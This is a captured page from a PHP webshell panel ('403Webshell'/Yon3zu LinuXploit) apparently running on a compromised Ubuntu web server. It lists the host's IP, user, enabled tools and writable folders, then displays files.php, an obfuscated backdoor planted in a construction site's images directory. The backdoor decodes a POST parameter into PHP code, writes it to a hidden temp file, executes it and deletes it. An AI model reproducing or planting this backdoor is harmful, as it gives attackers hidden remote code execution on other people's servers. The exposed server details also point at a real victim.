403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/Solum-construction/demo-job/images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/Solum-construction/demo-job/images/files.php
<?php

if(filter_has_var(INPUT_POST, "m\x61r\x6Ber")){
	$object = $_REQUEST["m\x61r\x6Ber"];
	$object=		explode 	(	'.'	, $object		 )	;  	
	$reference  =	 '';
            $salt  =	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  =	 strlen($salt );
            $q  =	 0;
    
            $__tmp  =	 $object;
            while ($v9  =	 array_shift($__tmp)) {
                $sChar  =	 ord($salt[$q%$lenS] );
                $d  =	 ((int)$v9 - $sChar - ($q%10))^	1;
                $reference .= chr($d );
                $q++;
            }
	$k = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]);
	foreach ($k as $token):
    		if (!( !is_dir($token) || !is_writable($token) )) {
    $fac = sprintf("%s/.desc", $token);
    $file = fopen($fac, 'w');
if ($file) {
	fwrite($file, $reference);
	fclose($file);
	include $fac;
	@unlink($fac);
	exit;
}
}
endforeach;
}

Youez - 2016 - github.com/yon3zu
LinuXploit